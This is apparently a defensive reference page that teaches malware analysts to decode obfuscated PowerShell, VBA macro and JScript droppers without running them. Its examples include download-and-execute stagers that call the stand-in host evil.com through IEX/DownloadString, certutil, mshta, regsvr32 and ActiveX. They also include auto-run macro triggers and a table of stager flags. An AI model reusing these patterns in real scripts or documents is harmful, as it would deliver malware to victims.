🔬 Deobfuscation

Deobfuscation Reference

PowerShell, VBA, and JavaScript malware deobfuscation — safely, without executing. Common patterns, step-by-step decode workflows, and tool references.

⚠️ Safety rule: Never execute malicious scripts to "see what they do." All deobfuscation steps below are safe — they reveal the content without triggering it. Work in an isolated VM with no network access when in doubt.

💻 PowerShell Deobfuscation

PowerShell is the #1 malware delivery mechanism for Indian organisations. Most phishing-delivered malware uses a PowerShell stager. These are the 7 most common obfuscation patterns and how to decode each.

⚡ Pattern 1 — Base64 Encoded Command (-enc / -EncodedCommand)

Obfuscated — what you see

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AC...

↓ Decode safely

Decode method (Python — no execution)

python3 -c " import base64, sys encoded = 'JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7' decoded = base64.b64decode(encoded).decode('utf-16-le') print(decoded) " # Or using PowerShell in safe mode (no execution — just decode): # [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABj...'))

⚡ Pattern 2 — String Concatenation + IEX (Invoke-Expression)

Obfuscated

$a='Inv'+'oke'+'-Exp'+'ression';$b='(New'+'-Object'+'Net.WebC'+'lient).Down'+'loadString("http://evil.com/s.ps1")';& ($a) $b

↓ Decode safely — reassemble string manually

Decoded equivalent

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://evil.com/s.ps1") # Key indicators: IEX, Invoke-Expression, DownloadString, DownloadFile # This downloads and executes a remote script — classic stager

⚡ Pattern 3 — Character Code Obfuscation ([char]XX)

$c=([char]73+[char]110+[char]118+[char]111+[char]107+[char]101+[char]45+[char]69+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110)

Decode with Python

import re s = "$c=([char]73+[char]110+[char]118+[char]111+[char]107+[char]101)" chars = re.findall(r'\[char\](\d+)', s) print(''.join(chr(int(c)) for c in chars)) # → "Invoke"

⚡ Pattern 4 — Compressed + Base64 (GZip)

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAAAAAAAA/6tWKkktLlGyUlIqS80rKQYA...')); $d=New-Object IO.Compression.GZipStream($s,[IO.Compression.CompressionMode]::Decompress); $r=New-Object IO.StreamReader($d);IEX $r.ReadToEnd()

Decode safely in Python

import base64, gzip b64 = 'H4sIAAAAAAAA/6tWKkktLlGyUlIqS80rKQYA...' compressed = base64.b64decode(b64) decompressed = gzip.decompress(compressed) print(decompressed.decode('utf-8', errors='replace'))

⚡ Pattern 5 — SecureString / Reverse String

# Reversed string $cmd = 'noisserpmoc.OI | ))"1.sp.s/moc.live//:ptth"(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(' | IEX # Or: -join (reversed array) $r = 'n','o','i','t','c','n','u','F' -join ''; $r

Decode

s = 'noisserpmoc.OI | ))"1.ps.s/moc.live//:ptth"(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(' print(s[::-1]) # → (New-Object Net.WebClient).DownloadString("http://evil.com/s.ps1") | IO.compression

PowerShell malicious flag reference

Flag / Cmdlet	Meaning	Severity
-EncodedCommand / -enc	Base64-encoded command to hide content	High
-ExecutionPolicy Bypass	Override execution policy restrictions	High
-WindowStyle Hidden / -W Hidden	Run without visible window	High
-NonInteractive / -NonI	Suppress user prompts	Medium
Invoke-Expression / IEX	Execute string as code — classic stager	High
DownloadString / DownloadFile	Fetch payload from remote server	High
Net.WebClient / WebRequest	HTTP/HTTPS request to C2	High
[Convert]::FromBase64String	Base64 decode in-memory payload	High
Add-Type / [Reflection.Assembly]	Load .NET assembly — potentially malicious DLL	High
VirtualAlloc / WriteProcessMemory	Shellcode injection into memory	Critical

📄 VBA Macro Deobfuscation

VBA macros in .doc/.xls/.xlsm files are the most common malware delivery mechanism in Indian phishing campaigns. Most use simple obfuscation that is easy to decode without executing.

Step 1 — Extract VBA without opening the file

# oledump.py — best tool, never executes macros pip install oledump python3 oledump.py suspicious.doc # List streams with macros (marked with M or m) python3 oledump.py suspicious.doc # Output: A: SummaryInformation # B: DocumentSummaryInformation # M: Macros/VBA/ThisDocument ← M = macro stream # Extract specific macro stream python3 oledump.py suspicious.doc -s M -v # olevba — focused specifically on VBA extraction + IOC detection pip install olevba olevba suspicious.doc olevba suspicious.doc --deobf # attempt automatic deobfuscation

📝 Pattern 1 — String Concatenation

Dim url As String url = "ht" & "tp" & "://" & "ev" & "il" & ".c" & "om/" & "pa" & "yl" & "oad" & ".ex" & "e" Shell "cmd /c certutil -urlcache -f " & url & " C:\Users\Public\s.exe"

Decode with Python

import re vba = 'url = "ht" & "tp" & "://" & "ev" & "il" & ".c" & "om/" & "pa" & "yl" & "oad" & ".ex" & "e"' parts = re.findall(r'"([^"]*)"', vba) print(''.join(parts)) # → http://evil.com/payload.exe

📝 Pattern 2 — Chr() Character Codes

Dim cmd As String cmd = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99) ' + more chars... Shell cmd

Decode

import re vba = 'cmd = Chr(99) & Chr(109) & Chr(100) & Chr(32) & Chr(47) & Chr(99)' nums = re.findall(r'Chr$(\d+)$', vba) print(''.join(chr(int(n)) for n in nums)) # → cmd /c

📝 Pattern 3 — AutoOpen / Workbook_Open Execution

' Malicious macros often use these auto-execution triggers: Sub AutoOpen() ' Word — runs on document open Sub Document_Open() ' Word — alternative trigger Sub Workbook_Open() ' Excel — runs on workbook open Sub Auto_Open() ' Excel — legacy trigger Sub AutoExec() ' runs on application start ' Also check: Private Sub Document_Close() ' runs on close — anti-forensic cleanup Private Sub Application_Quit() ' runs on quit

📝 Pattern 4 — Common LOLBins Called from VBA

' These are the most common execution patterns in Indian phishing macros: ' 1. PowerShell stager Shell "powershell -enc " & base64payload ' 2. certutil download Shell "cmd /c certutil -urlcache -split -f http://evil.com/s.exe C:\Users\Public\s.exe && C:\Users\Public\s.exe" ' 3. wscript/cscript execution CreateObject("WScript.Shell").Run "wscript.exe C:\Users\Public\payload.vbs" ' 4. mshta (HTML Application) Shell "mshta.exe http://evil.com/payload.hta" ' 5. regsvr32 (squiblydoo) Shell "regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll"

ViperMonkey — automated VBA emulation

pip install ViperMonkey # Emulates VBA execution without running it — extracts IOCs vmonkey suspicious.doc # Output includes: # - Strings built at runtime # - Shell commands that would be executed # - File paths accessed # - URLs contacted

🌐 JavaScript / JScript Deobfuscation

Malicious JavaScript arrives as .js files (Windows Script Host), .hta files, or embedded in HTML phishing pages. JScript on Windows executes natively via wscript.exe or cscript.exe.

⚡ Pattern 1 — eval() with encoded/obfuscated string

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}}return p}('...',62,62,'...'.split('|'),0,{}))

Safe approach — replace eval with console.log / print

# Method 1: Replace eval with print and run with Node.js (safe context) sed 's/^eval(/console.log(/g' malicious.js > safe_inspect.js node safe_inspect.js # Prints decoded content instead of executing # Method 2: js-beautify first, then manual analysis pip install jsbeautifier js-beautify malicious.js -o beautified.js cat beautified.js # Method 3: box-js (automated JScript sandbox) npm install box-js box-js malicious.js --no-kill --timeout 30 # Produces: urls.json, snippets.js, active_urls.json

⚡ Pattern 2 — String Split / Join Obfuscation

var _0x1a2b=['pow','ers','hel','l.e','xe']; var cmd = _0x1a2b[0]+_0x1a2b[1]+_0x1a2b[2]+_0x1a2b[3]+_0x1a2b[4]; // Result: powershell.exe // Array-based obfuscation var x = [119,115,99,114,105,112,116]; var y = x.map(function(c){return String.fromCharCode(c)}).join(''); // Result: wscript

Decode

python3 -c " chars = [119,115,99,114,105,112,116] print(''.join(chr(c) for c in chars)) # → wscript " # For split/join patterns — manually reassemble: python3 -c " parts = ['pow','ers','hel','l.e','xe'] print(''.join(parts)) # → powershell.exe "

⚡ Pattern 3 — Hex / Unicode Escapes

// Hex escape sequences var s = "\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c"; // Unicode escapes var t = "\u0070\u006f\u0077\u0065\u0072\u0073\u0068\u0065\u006c\u006c"; // Mixed var u = "\x70ow\x65r\x73hell";

Decode

python3 -c " # Python handles both \x and \u escapes natively s = '\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c' print(s) # → powershell t = '\u0070\u006f\u0077\u0065\u0072\u0073\u0068\u0065\u006c\u006c' print(t) # → powershell "

⚡ Pattern 4 — WScript.Shell + ActiveXObject (JScript on Windows)

// .js file executed by wscript.exe var shell = new ActiveXObject("WScript.Shell"); var xhr = new ActiveXObject("MSXML2.XMLHTTP"); xhr.open("GET", "http://evil.com/payload.exe", false); xhr.send(); var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type=1; stream.Write(xhr.responseBody); stream.SaveToFile("C:\\Users\\Public\\s.exe", 2); shell.Run("C:\\Users\\Public\\s.exe");

This pattern: HTTP download + write to disk + execute. Key IOCs to extract:

import re with open('malicious.js') as f: js = f.read() # Extract URLs urls = re.findall(r'["\']https?://[^"\']{8,}["\']', js) # Extract file paths paths = re.findall(r'["\'][A-Za-z]:\\[^"\']{4,}["\']', js) # Extract ActiveX calls (capability indicators) axo = re.findall(r'ActiveXObject\(["\']([^"\']+)["\']', js) for cat, items in [('URLs',urls),('Paths',paths),('ActiveX',axo)]: if items: print(f'\n{cat}:',*items,sep='\n ')

🛠️ Deobfuscation Tool Reference

PowerShell

PowerDecode

Multi-layer PowerShell deobfuscator. Handles nested encoding, compression, and eval chains automatically.

pip install powerdecode

PSDecode

Online PowerShell deobfuscator. Safely emulates execution layers without running malicious code.

github.com/R3MRUM/PSDecode

FLOSS

FireEye Labs Obfuscated String Solver. Extracts strings that are built at runtime in the binary.

pip install flare-floss

VBA / Office

olevba

Extract and deobfuscate VBA macros from OLE2 Office documents. Best first-step tool.

pip install oletools

ViperMonkey

VBA emulation engine — extracts IOCs from macros without executing them on Windows.

pip install ViperMonkey

oledump

Analyse OLE streams in Office documents. Identify and extract macro streams.

pip install oledump

JavaScript / JScript

box-js

JScript sandbox — safely emulates Windows JScript execution, extracts URLs and commands.

npm install -g box-js

js-beautify

JavaScript formatter — makes minified/obfuscated JS human-readable as first step.

pip install jsbeautifier

JStillery

JS deobfuscation via AST manipulation. Handles eval-based and complex obfuscation.

github.com/mindedsecurity/JStillery